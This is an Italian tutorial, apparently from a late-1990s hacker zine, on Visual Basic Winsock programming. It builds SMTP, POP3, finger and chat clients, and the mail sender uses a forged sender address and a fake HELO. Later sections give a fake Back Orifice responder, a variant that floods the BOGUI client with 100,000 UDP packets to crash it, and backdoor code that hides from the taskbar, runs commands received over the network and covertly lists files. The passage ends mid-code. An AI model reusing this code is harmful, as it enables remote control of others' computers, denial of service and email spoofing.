 come si farebbe con telnet?

 1. ci si collega all'smtp server (mettiamo sia mail.server.it) porta 25
 2. si da il RSET 
 3. HELO seguito da un nome qualsiasi (o un IP falso magari 'esistente')
 4  MAIL FROM: pippo@de.pippi
 5  RCPT TO: mio@amico.it
 6  DATA 
 7  Subject: PROVA
 9  TE LO MANDO IO 
 10 .  (un punto e INVIO per confermare la spedizione)

 col winsock e' la stessa cosa. L'unico problema e che dando le istruzioni di seguito 
 sul visual basic (come su un altro programma del resto!) :

  TCP1.SendData "RSET" & VbCrLf  
  TCP1.SendData "HELO ciao" & VbCrLf 
  TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
  ...

 non si da tempo al server di confermare i comandi, percui ci si troverebbe ad esempio
 a spedire il MAIL FROM: prima della conferma del comando HELO e quindi si avrebbe errore.
 E' necessario allora aspettare n secondi per effettuare l'invio di un comando per aspettare
 la conferma del precedente.
 Non si sa in anticipo quanto impieghera' il server a 'confermare'.. dipende da troppe variabili:
 traffico sulla rete, velocita' momentanea della connessione, ecc...
 (poi spieghero' come inviare un comando esattamente un istante dopo la conferma di quello
  precedente! ;-))
 Per adesso limitiamoci a creare una procedura che dia un certo ritardo nella esecuzione dei
 comandi per dare 'respiro' al server.

 la chiameremo DELAY ( in C gia c'e' SLEEP .. in visual basic bisogna farsela)

 Privare Sub Delay(n)
  S = Timer
  Do While Timer < S + n
   DoEvents
  Loop
 End Sub

 con Delay(3) l'esecuzione del programma si blocca per 3 secondi.
 DoEvents server per far si che cmq tutti gli altri comandi siano disponibili durante
 il tempo d'attesa. Senza DoEvents il programma si bloccherebbe per tutto il tempo 
 impostato.

 Diciamo che 6 secondi di attesa per la conferma di ogni comando sono un tempo piu' che
 sufficiente nella maggior parte delle situazioni.

 il programma allora dovra' essere strutturato cosi'

-----------------------------------------------------
 Private Sub  spedisci()
   TCP1.Connect "mail.server.it",25
   Delay(6)
   TCP1.SendData "RSET" & VbCrLf  
   Delay(6)
   TCP1.SendData "HELO ciao" & VbCrLf 
   Delay(6)
   TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
   Delay(6)
   TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf 
   Delay(6)
   TCP1.SendData "DATA" & VbCrLf 
   Delay(6)
   TCP1.SendData "Subject: PROVA" & VbCrLf  
   Delay(6)
   TCP1.SendData "TE LO MANDO IO" & VbCrLf  
   Delay(6)
   TCP1.SendData "." & VbCrLf  
   Delay(6)
   TCP1.close
End Sub
 Privare Sub Delay(n)
  S = Timer
  Do While Timer < S + n
   DoEvents
  Loop
 End Sub
------------------------------------------------------


  praticamente si impiegano 9 linee di ritardo di 6 secondi per un totale di quasi un minuto
 di tempo per spedire una mail.. ma l'importante e' che funzioni. ;-)

 Vediamo adesso come fare per inviare i comandi nel tempo piu' breve possibile sfruttando
 le risposte del server.

 Si manda un comando.. quando il server  risponde qualcosa vuol dire che l'ha accettato
 e si puo' inviare il successivo.

 Serve sempre la monitorizzazione offerta dall'evento DataArrival (L'unica cosa utile
 assieme ai comendi xxx.connect, xxx.senddata e xxx.getdata

 Il programma base e' lo stesso..

  si aggiunge la definizione della variabile "ricevi" in testa al sorgente

 DIM ricevi as string (in modo che ricevi non sia un valore valido per tutte le procedure.)

  si aggiunge in fondo al sorgente la procedura

 Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
 End Sub
 
   che mette nella variabile pubblica ricevi le risposte del server 
 
  e si cambia la procedura delay con questa

 Private Sub delay()
 Do While ricevi = ""
 DoEvents
 Loop
 End Sub

  cioe' .. delay = aspetta fino a quando non ricevi una risposta! ;-)


 quindi il programma completo sara' cosi':


 ----------------------------------------------------

Dim ricevi as String
Private Sub  spedisci()
   TCP1.Connect "mail.server.it",25
   Delay
   TCP1.SendData "RSET" & VbCrLf  
   Delay
   TCP1.SendData "HELO ciao" & VbCrLf 
   Delay
   TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
   Delay
   TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf 
   Delay
   TCP1.SendData "DATA" & VbCrLf 
   Delay
   TCP1.SendData "Subject: PROVA" & VbCrLf  
   Delay
   TCP1.SendData "TE LO MANDO IO" & VbCrLf  
   Delay
   TCP1.SendData "." & VbCrLf  
   Delay
   TCP1.close
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
End Sub

Private Sub delay()
 Do While ricevi = ""
 DoEvents
 Loop
End Sub

 ----------------------------------------------------

  Con questa piccola finezza (che dovra' essere uguale anche per tutti gli altri programmi
 che si progetteranno) si velocizzano le procedure rispetto alle linee di ritardo di almeno
 10 volte.



  Un altro esempio.. usando subito il nuovo delay costruito appositamente.
 Facciamo un programma che legga dal nostro pop server quante mail abbiamo in parcheggio.
 (Modificarlo per cancellare mail contenenti in una qualunque parte determinate parole
 o per fare una preview di tutti i messaggi sara' molto semplice)

 Come si farebbe con telnet per verificare quante mail abbiamo sul serer pop?

 1. Ci si connette al nostro pop (mettiamo sia mail.pop.it) porta 110 
 2. si invia il comando USER <nostro_user>
 3  PASS <nostra_password_postale>

 a questo punto il server risponde con una riga di benvenuto indicante all'interno 
 una frase tipo  ... has xx message(s) ...
 xx e' il numero di messaggi presenti.
 
 La stringa di risposta del server sara' una stringa che avremo prelevato tramite il 
 solito evento DataArrival (mettiamo si sia chiamata -ricevi-)
 
 Il numero di messaggi quindi sara' la parte di stringa ricevi che va da

 inizio = instr(1,ricevi,"has")+4  (inizio della parola "has" nella stringa + 4)
 
 a

 fine = instr(1,ricevi,"message")-1 (inizio della parola "message" - 1)

  dati dal server pop   ...... has nnn message ....... 
                                   |  |
                            inizio/    \fine    

      lunghezza di nnn=fine-inizio

 si potra' dire allora che trovata la stringa -ricevi- di ritorno dal server
 il numero di messaggi presenti (utile poi per leggerli tutti con un ciclo for
 tanto per fare un esempio) si potra' trovare con

  inizio = InStr(1, ricevi, "has") + 4
  fine = InStr(1, ricevi, "message") - 1
  nm = Mid$(ricevi, inizio, fine - inizio)

 nm= numero di mail presenti sul server.


 Vediamo il programma in pratica.

  programma "scheletrico":

 Qaunte mail ci sono sul pop server mail.pop.it per lo USER pippo , PASSWORD topolino ?

---------------------------------------------------------
 Dim ricevi As String
 
 Private Sub Trovamail()
  TCP1.Connect "mail.pop.it", 110
  ricevi = "": delay
  TCP1.SendData "USER pippo" &  vbCrLf
  ricevi = "": delay
  TCP1.SendData "PASS topolino" & vbCrLf
  ricevi = "": delay
  inizio = InStr(1, ricevi, "has") + 4
  fine = InStr(1, ricevi, "message") - 1
  nm = Mid$(ricevi, inizio, fine - inizio)
 
 ' Dentro nm ci sta il Numero di mail trovate 

End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
End Sub


Private Sub delay()
 Do While ricevi = ""
  DoEvents
 Loop
End Sub
---------------------------------------------------------


  Vogliamo provare lo stesso programma leggermente piu' raffinato .. sulla base del 
 quale poter poi costruire magari un gestore di POP con filtri e tutto il resto? ;-)

 Proviamo col solito FORM tipo quello del telnet.

 Aggiungiamo solo una Label per lo Status del programma (label1)
 e due text box per inserire la password e lo user.

  +--------------------------------------------------------------------------------------+
  |              _______________________           _______    ________   ___________     |
  | Host Remoto |Text1__________________|  Porta  |Text2__|  |CONNETTI| |DISCONNETTI|    |
  |              ____________   _______________________________________________________  |
  |        User |Text5_______| |Label                                                  | |
  |              ____________  |                                                       | |
  |    Password |Text6_______| |_______________________________________________________| |
  |  __________________________________________________________________________________  |
  | |Text4                                                                             | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |__________________________________________________________________________________| |
  |  _______________________________________________________________________   _______   | 
  | |Text3__________________________________________________________________| | CERCA |  |
  |______________________________________________________________________________________|

  In questo caso 
  
   CONNETTI = Command1
   CERCA = Command2
   DISCONNETTI = Command3
   Label = Label3

  Il programma permette di inserire il pop server desiderato, uno user e una pass a piacere
  e trova il numero di messaggi presenti che viene stampato su Label.

  Cerca potrebbe (lascio a voi fare il seguito)
 
  1. scorrere tutti i messaggi con RETR da 1 a nm (trovato prima) (il messaggio volta volta
  finisce dentro "ricevi" con questo programma) e cancellare (con DELE) quelli non desiderati.
  Killando IP -segnalati-, Subject multipli, o mail da nick di persone indesiderate.

  2. scorrere tutti i messaggi con RETR e visualizzare su text4 tutti i subject e un paio
  di righe del body.. tanto per vedere se c'e' qualcosa di interessante per la quale
  aprire Outlook o Agent. ;-)

  3..varie ed eventuali.


  Il programma e' questo:

 ------------------------------------------------------------------ 
 
Dim ricevi As String

Private Sub Command1_Click()
 TCP1.Connect Text1, Text2
 ricevi = "": delay
 Label3 = "Connessione aperta, invio USER"
 TCP1.SendData "USER " & Text5 & vbCrLf
 ricevi = "": delay
 Label3 = "Invio PASSWORD"
 TCP1.SendData "PASS " & Text6 & vbCrLf
 ricevi = "": delay
 inizio = InStr(1, ricevi, "has") + 4
 fine = InStr(1, ricevi, "message") - 1
 nm = Mid$(ricevi, inizio, fine - inizio)
 Label3 = "Numero di mail trovate = " & nm
End Sub

Private Sub Command2_Click()
 Label3 = "Invio dei dati"
 Text4 = Text4 & Text3 & vbCrLf
 TCP1.SendData Text3 & vbCrLf
End Sub

Private Sub Command3_Click()
 TCP1.Close
Label3 = "Connessione chiusa"
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
  Label3 = Str$(bytesTotal) & " Bytes di dati in arrivo dal server " & Text1
  TCP1.GetData Dalserver, vbString
  Text4 = Text4 & Dalserver
  ricevi = Dalserver
 End Sub

Private Sub Text3_Click()
 Text3 = ""
End Sub

Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub

 ------------------------------------------------------------------ 

  Semplice no!? .. un esempio di miglioria all'interfaccia utente e' la procedura

Private Sub Text3_Click()
 Text3 = ""
End Sub

  dice solo che quando vi posizionate col mouse su text3 (riga di editing dei comandi)
 e ci cliccate sopra il testo precedentemente inserito scompare... altrimenti avreste dovuto
 cancellarlo con seleziona e delete.. una palla! ;-)


 Altro esempio .. volete fare un finger su un server con tre righe di programma?
 (TRE sul serio .. non tanto per dire!)

 Come non si puo!?.. si puo, si puo! ;-)

 
  Provate un po' cosi':

  +------------------------------------------------+
  |              _______________________   ______  |
  | Host Remoto |Text1__________________| |FINGER| |
  |  ___________________________________________   |
  | |Text2                                      |  |
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |___________________________________________|  |   
  |________________________________________________|

 FINGER = Command1

 

il programma e' questo:

-----------------------------------------------------------

Private Sub Command1_Click()
 TCP1.Connect Text1, 79
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  Text2 = Text2 & Dalserver
End Sub

-----------------------------------------------------------

 .. non serve neanche il disconnetti perche' sia che il finger ci sia, sia che non ci sia,
 il server vi sconnette automaticamente appena finito il lavoro.

    
 

 Ultimi esempio .. leggermente piu' complessi .. ma poco. ;-)

 Farsi una linea Chat privata per dialogare via rete con un amico.

 Qui bisogna introdurre un altra funzione del winsock (una sola). La funzione .listen.
 Con LISTEN ci si mette in ascolto su una determinata porta dichiarata tramite .localport.

 winsock .. anzi  TCP1.localport 31337
                  TCP1.listen

 sono le due funzioni che permettono al nostro programma di starsene in attesa ad aspettare
 dati sulla porta 31337. (ricorda qualcosa? .. mah.. ;-).. cmq per adesso anche se ricorda qualcosa
 non e' possibile fare nulla, stiamo parlando di protocollo TCP e la cosa rammentata da 
 quella porta tanto strana va invece su protocollo UDP)

  La chat replica in pratica quella che si potrebbe ottenere sfruttando netcat e leggendo 
 un mio precedente manuale che riporta quanto segue:

 NETCAT ...

 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 CHAT ANONIMA PERSONALE CON UN ALTRO UTENTE

  ogni persona deve aprire due form DOS (due shell o come preferite) 

  la PERSONA 1 deve digitare:
    nc -l -p <porta1> -v                       (ascolta e vede sulla porta 1)
    nc <indirizzo IP di persona 2> <porta2>    (manda i caratteri sulla porta 2)

  la PERSONA 2 invece:
   nc -l -p <porta2> -v                       (ascolta e vede sulla porta 2)
   nc <indirizzo IP di persona 1> <porta1>    (manda i caratteri sulla porta 1)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 Praticamente ogni persona si trova aperti sul proprio desktop due form con due netcat
 diversi .. uno serve per ricevere i dati, l'altro per inviarli.

 Col winsock e' uguale ma ancora piu' semplice.

 Basta creare un programma che funga sia da trasmettitore (il client) che da ricevitore 
 (il server). Una persona quindi dovra' aprire UN solo programma di questi e dichiarare
 di essere il server .. l'altro fara' lo stesso dichiarando (dopo il primo) di essere il 
 client. Il client si colleghera' col server come in una connessione telefonica e si potra'
 iniziare a spedire i rispettivi dati.
 Visto che parliamo di chat si presuppone che i dati siano del 'testo' ovviamente.

 Facciamo un form cosi':

 +---------------------------------------------------------+
 |       _____________    _______   ______________________ |  
 | Host |HOST_________|: |porta__| |Label1________________||
 | ___________________________________________  __________ |
 ||LEGGI                                      ||_CONNETTI_||
 ||                                           ||_ASCOLTA__||
 ||                                           |            |
 ||                                           | __________ |
 ||___________________________________________||_TERMINA__||
 | ___________________________________________  __________ |
 ||Comandi____________________________________||__INVIA___||
 |_________________________________________________________| 

 dove:

  Host = casella di testo con nome  "host"
  Comandi = casella di testo con nome "comandi"
  Label1 = label con nome "Label1"
  porta = casella di testo con nome "porta"
  
  CONNETTI = pulsante con caption "connetti" e nome "connetti"
  ASCOLTA = pulsante con caption "ascolta" e nome "ascolta"
  INVIA = pulsante con caption "invia" e nome "invia"
 
 fa eccezione 

TERMINA = pulsante con caption "termina" e nome "disconnetti"

 ma e' per rendere il listato piu' chiaro. ;-)


 Il programma e' questo:

---------------------------------------------------------------------------
   
Private Sub CONNETTI_Click()
    Label1.Caption = ""
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Connect Host, Val(porta)
End Sub

Private Sub DISCONNETTI_Click()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

Private Sub ASCOLTA_Click()
    Label1.Caption = "  Sono in ascolto! "
    TCP1.LocalPort = Val(porta)
    TCP1.Listen
End Sub

Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub

Private Sub TCP1_Close()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

Private Sub TCP1_Connect()
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHost
End Sub

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Accept requestID
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHostIP
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    On Error Resume Next
    TCP1.GetData Data
    LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub

Private Sub comandi_Click()
 comandi = ""
End Sub


---------------------------------------------------------------------------


  piu' piccolo di cosi' non si puo' fare!  
 una trentina di righe mi sembrano comunque veramente poca cosa per il risultato ottenuto.

 Per fare le prove basta aprirne due sul proprio computer, mettere 127.0.0.1 come host e
 la stessa porta in ambedue i form, vi connetterete quindi con voi stessi in locale senza 
 dover spendere nulla per la 'sperimentazione'.

 E' necessario ovviamente mettersi PRIMA in ascolto su un programma chiamando ASCOLTA
 e poi connettersi con l'altro programma chiamando CONNETTI.
 La stessa procedura dovra' essere usata in rete. L'amico che ricevera' copia del 
 programma bastera' che si metta in ascolto selezionando semplicemente una porta a piacere.
 Voi dovrete invece connettervi selezionando la stessa porta ma mettendo anche il suo IP nella
 casella HOST.


 Analizziamo il programma procedura per procedura:

Private Sub ASCOLTA_Click()
    Label1.Caption = "  Sono in ascolto! "
    TCP1.LocalPort = Val(porta)
    TCP1.Listen
End Sub


 come detto in precedenza  apre una porta sul computer in locale tcp1.localport <porta>
 e si mette in ascolto: tcp1.listen.

 ho aggiunto label per fornire agli utenti delle semplici informazioni sullo stato della
 connessione. Quando uno si connette dice se il collegamento e' avvenuto o meno, dopo il 
 listen dice: "sono in ascolto" .. e via cosi'. Non serve a niente ma fa il tutto piu'
 interessante. ;-))

 
Private Sub CONNETTI_Click()
    Label1.Caption = ""
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Connect Host, Val(porta)
End Sub


  Anche questa e' una cosa gia nota.
  Si setta la localport a zero TCP1.Localport, 0
  poi ci si connette.
  TCP1.connect (ip prelevato dalla casella di testo host), (porta prelevata dalla casella porta)

  L'unica cosa eccentrica e' la linea con la condizione logica:
  Serve perche' nel caso il server si sconnetta il client possa sconnettersi automaticamente
  a sua volta.
  TCP1.state da infatti un valore numerico che rappresenta lo stato della connessione.

   AGGIUNTA:

  Se l'altro non e' in ascolto quando ci si connette si ha un errore.. 
  si potrebbe quindi aggiugere una procedura per la dichiarazione degli errori 
  durante l'invio dei dati o il collegamento.
  Il winsock ha un evento apposito per questo: _Error

  Vi faccio un esempio anche se in pratica per gli scopi di questo articolo 
  il tutto e' decisamente inutile:

-------------------------------------------
 Private Sub TCP1_Error(Number As Integer, Description As String, Scode As Long, Source As String, HelpFile As String, HelpContext As Long, CancelDisplay As Boolean)
    Label1.Caption = "ERRORE -> " & Description
    TCP1.Close
End Sub
-------------------------------------------
  giusto per dare qualche ritocco. ;-)



Private Sub DISCONNETTI_Click()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub


 Questa non necessiterebbe di spiegazioni.
 Chiude la connessione alla pressione del pulsante TERMINA (disconnetti) 
 con TCP1.close

Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub

  
  Invia i dati della riga -comandi- tramite la connessione.
  Ho aggiunto i caratteri "I>" perche' sul form di dialogo sono rappresentati 
  sia dati inviati sia dati in ricezione e in una lunga lista senza un qualcosa
  che identifichi i primi rispetto ai secondi andando a ricontrollare tutta la
  chat si farebbe confusione.
  Nel data arriva (dati in arrivo) .. ho aggiunto ovviamente "R>".

LEGGI = "I>" & a$ & vbCrLf & LEGGI  quindi vuol dire che aggiunge i nuovi dati inviati
sul form LEGGI collocando quelli piu' nuovi in testa alla lista. 


Private Sub TCP1_Close()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

  Evento close del winsock .. serve piu' che altro in modalita' server. 
  Quando il collegamento viene terminato dal client viene chiuso anche 
  l'ascolto da parte del server.
  Questa procedura puo' anche essere tolta volendo.. non e' di grande utilita'
  soprattutto in considerazione del fatto che anche il server ha il suo pulsante termina.


Private Sub TCP1_Connect()
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHost
End Sub

  Anche questa e' una procedura ridondante .. ma interessante da conoscere. 
  Diciamo che e' utile anche questa esclusivamente al server.
  Il client infatti deve mettere un IP nella casella host. 
  Questo IP dovra' essere quello del server.  
  Al server basta stare in ascolto su una determinata porta dichiarata su "porta".
  Beh .. effettuato il collegamento il winsock ricava dai pacchetti inviati l'IP del client
  e lo visualizza automaticamente al server nella propria casella HOST.

  E' una procedura importantissima.. 

  Durante un collegamento si potra' quindi dire in ogni istante:

    ip_di_provenienza = TCP1.RemoteHost
    porta_dalla_quale_si_collegano = TCP1.RemotePort

  e' quello che fa NETSTAT in pratica... verifica se qualcuno e' collegato a voi e vi da
  il suo IP e la porta di provenienza dalla quale fluiscono i dati.

   [E infatti Rifare NETSTAT in VB col winsock non e' complicato.. ;-) ]

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Accept requestID
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHostIP
End Sub

 Questa e' la dichiarazione del server di 'accettazione' del collegamento col client.
 Il server riceve un identificatore (requestID) .. e lo deve accettare o meno sulla
 base dei dati delclient che gli vengono forniti IP e porta di provenienza.
 Dal momento che a noi di questi problemi non ci interessa nulla
 accetteremo tutto di buon grando con
 TCP1.accept requestID! ;-)


Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    On Error Resume Next
    TCP1.GetData Data
    LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub


  Il solito DataArrival con la linea

    LEGGI = "R>" & Data & vbCrLf & LEGGI

la quale, come spiegato in precedenza, mette i dati ricevuti in testa al form LEGGI
(la finestra di dialogo praticamente) aggiungendo i caratteri "R>" per evidenziare
che sono dati IN-ARRIVO.
 

Private Sub comandi_Click()
 comandi = ""
End Sub

  
 Semplicemente cancella la riga comandi dalle vecchie cose 'battute' quando ci cliccate 
 sopra col mouse.

----------------------------------------------------------

 Un esempio di protocollo UDP? ..si! ;-)
  e' ancora piu' semplice del TCP.. non necessita nemmeno del listen. Basta usare
 il solito evento DataArrival dopo aver settato la porta da controllare.

 Facciamo il caso di Bopsy ... Il programma che simula il server della backdoor Backorifice
 e invia al client messaggi costruiti ad hoc.


 Noi ci faremo un Bopsy 'casereccio' .. un programma che se ne sta li inattivo ascoltando
 la porta UDP 31337 e quando riceve qualche dato invia al client BOGUI un messaggio nel suo
 stesso linguaggio.

 Come prima cosa ci serve il messaggio tradotto nel protocollo specifico di backorifice.

 Io ho tradotto questo 

        MA LA VOGLIAMO FINIRE!  =  cuK(tm)t?3[SU|S"`

 Come ho fatto? .. e' una sciocchezza. ;-) .. basta aprire netcat in ascolto sulla porta
 UDP 31337, aprire il client BOGUI e inviare a se stessi (127.0.0.1) un qualunque comando
 che preveda l'invio di parametri mettendo come parametro appunto MA LA VOGLIAMO FINIRE!
 Il client inviera' al server (che nel nostro caso e' semplicemente NETCAT) la stringa
 gia' compilata.
 Si puo' usare anche NukeNabber.. le stringe che riceve e che mostra sono appunto i comandi
 cifrati in arrivo dal client BOGUI.
 Volendo ci sono in rete pagine che spiegano approfonditamente il protocollo magic di 
 backorifice, comprensive anche dei programmi per cifrare e decifrare i messaggi.
 Basta cercare "Boprotocol" o "Bo protocol" su altavista.

 Ora bisogna sapere qualcosina di piu' del funzionamento di backorifice per fare il nostro
 mini-bopsy.

 Il client apre a sua volta una porta dove sta in ascolto per riceve le risposte dal server.
 Tutte le volte cambia, ma questo non e' un problema infatti noi sappiamo bene che quando
 il winsock riceve un dato su una certa porta riceve contemporaneamente dentro i pacchetti
 anche le specifiche di chi lo ha inviato: IP + porta di provenienza.
 E il winsock li puo' mostrare molto semplicemente con UDP1.remotehostIP e UDP1.remotePort

 Attenzione: per questo programma sara' necessario tirare sul form il controllo UDP del winsock
 e non il TCP come abbiamo fatto fino ad ora!!


  In pratica il programma e' tutto qui: meno di 10 righe utili.

----------------------------------------------------------------
Private Sub Form_activate()
    UDP1.LocalPort = Porta_locale
    MioIP = UDP1.LocalIP
End Sub

Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
    UDP1.GetData rcv, vbString
    ricevi = ricevi & rcv
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    UDP1.SendData "cuK(tm)t?3[SU|S"`"
    
End Sub
----------------------------------------------------------------

 Sembrava peggio eh!? ;-))

  Fate un form con cinque caselle di testo

   La prima la chiamate "MioIp" 
   la seconda "Porta_locale" (ci mettete 31337 di default)
   La terza "IP_del_pingatore"
   la quarta "Porta_del_pingatore"
 
 la quinta la fate grande (e' dove ricevete i messaggi dal bogui..tipo nukenabber)
 la chiamate "ricevi".

 Tutto qui.. lo lanciate... poi provate a pingarvi col bogui (anche scollegati su 127.0.0.1)
 vedrete nella finestra ricevi del vostro minibopsy apparire i codici inviati dal bogui.
 Nella finestra MioIP il vostro io.. 127.0.0.1 in questo caso. e nelle due sottostanti
 l'ip e la porta di provenienza del ping. (Se ve lo avesse inviato uno in rete ora avreste
 il suo IP e la porta dal quale ve l'ha spedito!)

 In compenso sul BOGUI al posto del classico PONG vedrete apparire come per miracolo 
 la scritta
 
 ---------------------------------------------
 MA LA VOGLIAMO FINIRE!
 ---------------------------------------------

 

  Come funziona? .. 

 La prima procedura

Private Sub Form_activate()
    UDP1.LocalPort = Porta
    MioIP = UDP1.LocalIP
End Sub

 Setta semplicemente all'apertura del programma il controllo UDP del winsock sulla porta 
 locale dove intendete mettervi in ascolto.. (la 31337 si suppone) e vi da 
 (solo per informazione) il vostro IP del momento nella casella MioIp.

 
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
    UDP1.GetData rcv, vbString
    ricevi = ricevi & rcv
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    UDP1.SendData "cuK(tm)t?3[SU|S"`"
 End Sub
 
questa procedura e' TUTTO il programma bopsy! ;-)

 Cosa fa'?.

 All'arrivo di dati sulla porta precedentemente settata per l'ascolto l'evento dataArrival
 esegue la procedura. I dati sono sommati alla casella di testo ricevi.
 Nelle caselle Ip_del_pingatore e Porta_del_pingatore il winsock tramite
 UDP1.RemoteHostIp e UDP1.RemotePort ci informa da dove provengono i dati.

 A questo punto se NOI mettiamo l'Ip del pingatore in UDP1.RemoteHost e la porta 
 sulla quale spedire in RemotePort (che e' gia' settata di suo) 
 possiamo a nostra volta SPEDIRE al client BOGUI dei dati se quella specifica porta che
 lascia aperta appositamente per il suo server.

 Noi al posto del PONG tradizionale spediremo il cifrato precedentemente trovato.
 Potete ovviamente spedire qualunque altra riga di testo purche' in precedenza 
 cifrata col sistema del nukenabber o del netcat.

 .. ad essere onesti adesso vi basta il minibopsy per avere le stringhe cifrate del BOGUI!!
  he he he  .. la finestra di dialogo "ricevi" fa esattamente quello che vi serve.



 Un bopsy che manda in crash il client bogui? ;-)

  lo stesso programma di prima

 il form e' questo 

  +-----------------------------------------------------------------+
  |            _____________         ____________                   |
  | Il mio IP |MioIp________| Porta |Porta_locale| (31337 default!) |
  |  _____________________________________________________________  |
  | |                                                             | | 
  | |                                                             | | 
  | |                                                             | | 
  | |                                                             | | 
  | |                                                             | | 
  | |                                                             | | 
  | |_____________________________________________________________| | 
  |                       ________________   ___________________    | 
  |  Ip-Pingatore:Porta  |Ip_del_pingatore| |Porta_del_pingatore|   |
  |_________________________________________________________________|


 Il programma .. che invia 100000 messaggi al client fino a mandarlo in crash.

 ---------------------------------------------------------------------
Private Sub Form_activate()
    UDP1.LocalPort = porta_locale
    MioIp = UDP1.LocalIP
End Sub
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
On Error Resume Next
    UDP1.GetData rcv, vbString
    text4 = text4 & rcv & vbCrLf
    IP_del_pingatore = UDP1.RemoteHostIP
    Porta_del_pingatore = UDP1.RemotePort
    UDP1.RemoteHost = IP_del_pingatore
    For n=1 to 100000
    DoEvents
     UDP1.SendData "cuK(tm)t?3[SU|S"`"
    Next n
End Sub
--------------------------------- 

 Tutto chiaro? ;-)

Ora ci sarebbe la parte riguardante le nuke e le backdoor. 

 Dico sarebbe perche' in effetti non c'e'.. se non avete capito come fare un programma
 per mandare una nuke o per fare una backdoor dopo aver letto tutta questa roba e' meglio
 che lasciate perdere la programmazione col winsock! ;-)

  vi do il via cmq.. la partenza e' sempre la cosa piu' importante.

 I piu' vispi avranno gia' visto che il programm CHAT e' gia di per se una backdoor!

 Le uniche modifiche da fare sarebbero quelle di rendere il server automatico, nel senso
 che dovrebbe porsi in lISTEN automaticamente eliminando la procedura per la disconnessione
 per simpatia col client. (E ci vuole poco)
 Per far si che non appaia nella task bar c'e' l'opzione apposita nelle proprieta' del form
 in vb.
 
 me.ShowInTaskbar = false

 Poi andrebbe ad esempio modificata la procedura col DataArrival..

   provate ad aggiungere queste linee dopo l'istruzione TCP1.Getdata
  
-----------------------------------------------------------
   ' shell
   ' inviando al server invece del solito testo una frase tipo
   '  /1 calc.exe 1\ .. il server esegue il programma (se e' presente
   ' sul computer ospite) indicato tra gli estremi /1 - 1\
     If InStr(1, Data, "/1") Then
       inizio = InStr(1, Data, "/1") + 2
       lun = InStr(1, Data, "1\") - inizio
       a$ = Mid$(Data, inizio, lun)
       txtOutput = a$
       a = Shell(a$, 1)
      End If

    ' Message box
    ' Apre una MsgBox col testo indicato tra gli estremi /2 - 2\
     If InStr(1, Data, "/2") Then
       inizio = InStr(1, Data, "/2") + 2
       lun = InStr(1, Data, "2\") - inizio
       a$ = Mid$(Data, inizio, lun)
       txtOutput = a$
       a = MsgBox(a$, , " Master dialog ;-) ")
      End If

     ' Directory LIST
     ' Dice al server di costruire di noascosto un file
     ' contenente la lista dei file presenti sull'hd nella
     ' directory principale.
     ' Salva il tutto nel file MIO.TXT collocato nel folder
     ' del server.
     If InStr(1, Data, "/3") Then
       inizio = InStr(1, Data, "/3") + 2
       lun = InStr(1, Data, "3\") - inizio
       a$ = Mid$(Data, inizio, lun)
